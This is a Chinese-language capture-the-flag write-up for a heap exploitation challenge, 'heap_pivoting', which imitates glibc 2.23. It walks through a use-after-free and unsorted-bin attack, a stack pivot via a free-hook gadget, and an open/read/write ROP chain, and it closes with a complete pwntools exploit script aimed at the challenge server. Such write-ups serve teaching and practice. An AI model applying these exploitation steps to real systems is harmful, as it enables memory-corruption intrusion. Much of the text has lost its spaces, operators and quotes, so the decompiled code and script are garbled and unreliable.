LiCTF2025 pwn heap_pivoting

LiCTF2025 pwn heap_pivoting 前言挺新奇的堆题题目分析保护无PIE无canary沙箱禁止execve(base) shawyvianShaw:/mnt/e/CTF/LilCTF/pwn/heap_Pivoting$ seccomp-tools dump ./pwn line CODE JT JF K 0000: 0x20 0x00 0x00 0x00000004 A arch 0001: 0x15 0x00 0x02 0xc000003e if (A ! ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A ! execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW虽然都是自定义函数但是根据题目提示应该是仿照glibc2.23里面可以分析出一些函数大概就是一个菜单题__int64add(){__int64 v0;// rsi__int64 n4_1;// raxunsignedintid;// [rsp4h] [rbp-2Ch]_BYTE v3[24];// [rsp10h] [rbp-20h] BYREFunsigned__int64 v4;// [rsp28h] [rbp-8h]v4__readfsqword(0x28u);write(1,idx:,4);read(0,v3,16);idatol(v3);if(id4)sub_40EF90(1u);write(1,Alright!\nwhat do you want to say\n,33);v0malloc(256);read(0,v0,256);n4_1(int)id;chunklist[id]v0;if(__readfsqword(0x28u)!v4)smash();returnn4_1;}__int64delete(){__int64 v0;// rdx__int64 v1;// rcx__int64 result;// raxunsignedintid;// [rspCh] [rbp-24h]_BYTE v4[24];// [rsp10h] [rbp-20h] BYREFunsigned__int64 v5;// [rsp28h] [rbp-8h]v5__readfsqword(0x28u);write(1,idx:,4);read(0,v4,16);idatol(v4);if(id4)sub_40EF90(1u);resultfree(chunklist[id],v4,v0,v1);if(__readfsqword(0x28u)!v5)smash();returnresult;}__int64edit(){__int64 result;// raxunsignedintn4;// [rspCh] [rbp-24h]_BYTE v2[24];// [rsp10h] [rbp-20h] BYREFunsigned__int64 v3;// [rsp28h] [rbp-8h]v3__readfsqword(0x28u);write(1,idx:,4);read(0,v2,16);n4atol(v2);if(n44)sub_40EF90(1u);write(1,context: ,9);resultread(0,chunklist[n4],256);if(__readfsqword(0x28u)!v3)smash();returnresult;}可以看到delete里有UAF结合是glibc2.23还有unsorted bin attack指针都存在.bss段.bss:00000000006CCD60????????????????chunklist dq?Poc构造add() --chunk 0add() --chunk 1delete(0)然后edit(0)把chunk 0的bk改为chunklist_addr-0x10,此时chunk0−bk−fdchunklist[0] chunk_0-bk-fdchunklist[0]chunk0​−bk−fdchunklist[0]此时再edit(2)unsorted bin attack触发有chunk0−bk−fdtopchunk chunk_0-bk-fdtopchunkchunk0​−bk−fdtopchunk所以有chunklist[0]topchunk chunklist[0]topchunkchunklist[0]topchunk然后我们edit(0)就可以修改topchunk的地址了我这里把topchunk改为chunklist_addr此后我们再malloc时返回的就是chunklist_addr0x10(返回的是mem指针)我选择执行add(0),然后写chunklist_addr此时chunklist上就形成了循环链表就可以任意在chunklist上随便写了此时我们chunklist的结构是chunklist[0] - chunklist[2] chunklist[1] chunklist[2] - chunklist[0]然后我们可以用edit(2)来写chunklist布置好chunklist后可以用edit实现任意地址写由于题目是说heap pivoting这里还要实现一次栈迁移在迁移处写orw关键在于如何迁移在众多gadget里找到了这个可以利用0x00000000004b8fb8:xchg edi,eax;xchg esp,eax;ret这个相当于交换edi和esp我们让free_hook指向这里执行free(bss)就可以迁移了那么我们在chunklist上写payload p64(free_hook) p64(bss) b./flag\x00\x00这个作为edit(2)的payload随后利用edit改free_hook和bss即可这里关键在于如何获取free_hook的地址由于本程序实现不基于libc我们无法调试得到地址但一切都在反编译里__int64 __fastcallfree(__int64 a1,__int64 a2,__int64 a3,__int64 a4,inta5,inta6){__int64 n5;// raxunsigned__int64 n0x2000000;// rax__int64 v8;// rsiint*v9;// rdi__int64 n0x2000000_1;// rax__int64 v11;// rcx__int64 v12;// rsi__int64 v13;// rdxintv14;// ecxcharv15;// blunsigned__int64 v16;// raxintv17;// r9dunsigned__int64 v18;// rbp__int64 v19;// r13constchar*_unknown_;// rdxcharv22[16];// [rsp2h] [rbp-48h] BYREF_BYTE v23[56];// [rsp12h] [rbp-38h] BYREFvoid*retaddr;// [rsp4Ah] [rbp0h]n5(__int64)n5;if(n5)returnn5(a1,retaddr);if(a1){n0x2000000*(_QWORD*)(a1-8);v8a1-16;if((n0x20000002)!0){if(dword_6CA7D4||n0x2000000n0x2000000||n0x20000000x2000000){n0x2000000_1n0x20000000xFFFFFFFFFFFFFFF8LL;}else{n0x2000000_1*(_QWORD*)(a1-8)0x3FFFFF8LL;n0x2000000n0x2000000_1;qword_6CA7A02*n0x2000000_1;}v11*(_QWORD*)(a1-16);v12v11n0x2000000_1;v13a1-16-v11;v14(v11n0x2000000_1)|v13;if(((v12|v13)(qword_6CB180-1))!0){v15dword_6CA770;n5dword_6CA7705;if((_DWORD)n55){returnsub_412060(dword_6CA7702,(unsignedint)%s\n,(unsignedint)munmap_chunk(): invalid pointer,v14,a5,a6,v22[0]);}elseif((dword_6CA7701)!0){v23[0]0;v16sub_452660(a1,v23,16,0);v18v16;if(v16(unsigned__int64)v22){v19v16-1;j_ifunc_426F80(v22,48);v18(unsigned__int64)v22[-v19-1];}_unknown_unknown;if(*(_QWORD*)qword_6CD300)_unknown_*(constchar**)qword_6CD300;returnsub_412060(v152,(unsignedint)*** Error in %s: %s: 0x%s ***\n,(_DWORD)_unknown_,(unsignedint)munmap_chunk(): invalid pointer,v18,v17,v22[0]);}elseif((dword_6CA7702)!0){sub_40E1A0();}}else{_InterlockedDecrement(dword_6CA7C8);_InterlockedAdd64(qword_6CA7D8,-v12);returnsub_4407D0(v13);}}else{v9dword_6CA800;if((n0x20000004)!0)v9*(int**)(v80xFFFFFFFFFC000000LL);returnsub_41A260(v9,v8,0);}}returnn5;}这里是free的逻辑我们发现开头检查n5是否为空这个glibc2.23里的free_hook一样如果非空就执行其指向的地址所以n5就是free_hookFreeHook0x6CC5E8 FreeHook0x6CC5E8FreeHook0x6CC5E8bss就随便选了flag地址为chunklist_addr 0x10expfrompwnimport*importsys context.log_leveldebuglocalint(sys.argv[1])iflocal:pprocess(./pwn)#gdb.attach(p)pause()else:premote(challenge.imxbt.cn,30648)defadd(id,contentba):p.sendlineafter(bYour choice:\n,b1)p.sendlineafter(bidx:,str(id).encode())p.sendlineafter(bAlright!\nwhat do you want to say\n,content)defdelete(id):p.sendlineafter(bYour choice:\n,b2)p.sendlineafter(bidx:,str(id).encode())defedit(id,content):p.sendlineafter(bYour choice:\n,b3)p.sendlineafter(bidx:,str(id).encode())p.sendlineafter(bcontext: ,content)chunk_list0x6CCD60pause()add(0,b12345678)add(1,b222)delete(0)edit(0,p64(0)p64(chunk_list-0x10))add(2,b333)payloadp64(chunk_list)p64(0)p64(0x6CA858)*2#这个地址就是top chunk的top这是为了让unsorted bin形成双向循环链表# 写在 top remainder unsorted bin[0] -fd,bkedit(0,payload)payloadp64(chunk_list)add(0,payload)magic0x4b8fb8#xchg esp, edi ;bss0x00000000006cce40#rsp-bssfree_hook0x6CC5E8flagchunk_list0x10payloadp64(free_hook)p64(bss)b./flag\x00\x00edit(2,payload)rdi0x401a16rsi0x401b37rdx0x443136rax0x41fc84syscall0x4678e5payload1p64(rdi)p64(flag)p64(rsi)p64(0)p64(rdx)p64(0)p64(rax)p64(2)p64(syscall)#openpayload1p64(rdi)p64(3)p64(rsi)p64(0x6CBBA0)p64(rdx)p64(0x60)p64(rax)p64(0)p64(syscall)#readpayload1p64(rdi)p64(1)p64(rax)p64(1)p64(syscall)#writeedit(0,p64(magic))edit(1,payload1)delete(1)p.interactive()